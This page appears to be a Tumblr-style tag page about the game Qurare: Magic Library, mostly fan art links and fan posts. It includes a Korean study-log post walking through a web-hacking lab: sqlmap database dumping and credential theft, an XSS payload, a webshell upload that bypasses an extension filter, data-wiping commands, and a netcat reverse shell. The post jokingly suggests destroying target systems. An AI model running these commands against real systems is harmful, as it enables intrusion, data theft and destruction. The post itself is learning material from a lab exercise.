#qurare magic library

[gachagachaart]

[shadowreplic]

Metal Eater.

[maidoftheday]

Today’s Maid of the Day: Maid from Qurare: Magic Library

[m0ngle]

oriental girls.

contest work

[sesshoukid]

So I started playing Qurare: Magic Library, I was getting really into it after an hour of playing, and I was forced to stop. My brother and his friend have a couple girls over and mom told them they could have the tv. This sucks. I finally wasn't bored for a bit, and I started a new game, which I don't like having to stop soon after starting.

[pelvicmad-blog]

:3 [Qurare: Magic Library]

[xnote08]

356  -  Delphine (Qurare Magic Library)

26/6/23

[kookieshhh]

sella☆ [Qurare Magic Library]

[gachagachaart]

[shadowreplic]

Gremlin.

[maidoftheday]

Today’s Maid of the Day: Maid from Qurare: Magic Library

[ethical-hacking]

(last)Chapter 18. 실전 모의해킹[END]

-------------------------------------------------------

!warning!

본 게시글은 본인의 학습기록을 위해 작성된 알려진 학습 기법

함부로 악의적으로 이용은 엄연히 불법 임으로

절대 시도하지 말 것이며

사고 발생 시 본인은 절대로 책임지지 않습니다!

-------------------------------------------------------

♬QURARE: MAGIC LIBRARY  OST♬ 

예고대로 마지막은 큐라레:마법도서관

하겠습니다.

  최종 실습

1. 정보 수집

- 파라미터 값이 달라지는 것을 발견

2. SQL 인젝션 공격

- '을 입력했을 때 SQL 형식 관련 에러가 발생하는

것을 볼 수 있습니다.

1

sqlmap -u http://192.68.37.133/cat.php?id=1’

cs

- 위 명령어를 통해 sqlmap을 실행시켜 인젝션 공격이 가능한 부분을 탐색,

굵게 표시된 부분을 보니 id 파라미터가 들어가는 곳이 취약한가 봅니다 :)

1

<script>alert('XSS')</script>

cs

- sql 인젝션 공격과 xss 공격이 가능한 것을 확인할 수 있습니다.

1

sqlmap -u http://192.168.56.106/cat.php?id=1 --current-db

cs

- 현재 DB의 이름을 알아내고,

1

sqlmap -u http://192.168.56.106/cat.php?id=1 -D photoblog --dump

cs

  - DB 내용을 덤프 시키고, USER 테이블로부터 사용자 정보를 탈취했습니다.

  3. 파일 업로드 공격

- 위에서 탈취한 정보를 통해 로그인 합니다.

- New picture에서 [add]를 통해 webshell.php를 업로드해봤으나 실패ōxō - New picture에서 [add]를 통해 webshell.php를 업로드해봤으나 실패ōxō

1

mv webshell.php webshell.PHP

cs

- 웹쉘 확장자명을 바꿔서 업로드 성공

- 이렇게 해서 사실상 타깃

시스템에 접근 성공했습니다. 이젠

- 이런 식으로 타깃의 시스템을 가지고 놀거나

- 아니면 루트권한까지 접근해서 아예 추가 정보들을 탈취하고

탈주빤스런하시던가

- 파계승으로 빙의해서 타깃 시스템을 신나게 파괴하시면 됩니다 ㅋㅅㅋ;

cmd /c rd /s /q c:\//윈도우

or  

cd /home/user/test 후 rm -rf ./*//리눅스

4. 리버스 쉘 침투

1

nc -lvnp 4000

cs

- 먼저 터미널 하나에 리스닝 포트 열어제껴둡니다.

1

nc 192.168.37.116 4000 -e /bin/sh

cs

- 이렇게 리버스 쉘 침투 가 성공했습니다. 위 스크린샷처럼 가지고 놀거나

- 루트 추가 권한 까지 접근해서 추가정보들을 탈취하고 탈주하시면 됩니다. :)

드리어 마지막 챕터까지 작성이 끝났습니다. (*´∀｀）

휴… 아예 작성 못할줄 알았는데 하늘이 도왔군요

이젠 원하지 않는 분야로 아르바이트를 하게 되어도

두고두고 소정의 시간 마다 망각하지 않겠네요ε-(´・｀)

이젠 이 기초단계의 책에서 하산하고 다음 Level

로 가야겠습니다. (✿╹◡╹)

해킹 분야같은 경우 이제 부터 시작이니까 말이지요

또 시간이 나면 프로그래밍 언어랑 알고리즘

공부 혹은 코딩테스트 준비하고

(본인 같은경우 개발자 부터 시작해서)

(보안분야로 넘어갈 계획입니다)

그림이나 일러스트 그려야겠습니다 (*´∀｀）

내일 시간 나면 편의점으로 처들어가서

이 책을 하산한 기념으로

축배거리 사들고 축배를 들어야겠군요 끌끌…

아무튼 이 장문을 읽어 주신 분들께 다시한번 감사드리고

좋은 하루 되시고,

하시는 일 잘되시길 바람니다. (ㆁᴗㆁ✿)

그리고 중국코로나 조심하시길…。

#화이트해커를위한웹해킹의기술 , #웹해킹 , #해킹 , #복습 , #완주 , #Chapter18 , #챕터18 , #최종실습 , #최종복습, #실전모의해킹, #모의해킹 , #큐라레마법도서관 , #미우 ,#델핀 , #셀라 , #나오마리오타프라데이리 , #ōxō , #oxo, #콧코로 , #콩코로 , #콩 , #콩진호 , #홍진호 , #kokkoro , #コッコロ , #어_왜_두번_써지지 , #피치피치핏치 , #Mermaid_Melody , #ぴちぴちピッチ, #중국코로나

[terallynn]

(via delphine (qurare magic library) drawn by dahl-lange)

[ches-collect]

「Qurare: Magic Library 雨師 (うさ)」/「スノンイ」のイラスト [pixiv]

[moehistory]

do you know about a ps4 game called qurare magical library? because it does this kinda thing too -- its... terrifying.

I did not know about it but have now looked it up and I love it and can’t wait for it to come out over here! Very excited at the prospect of a new moe history game. ♥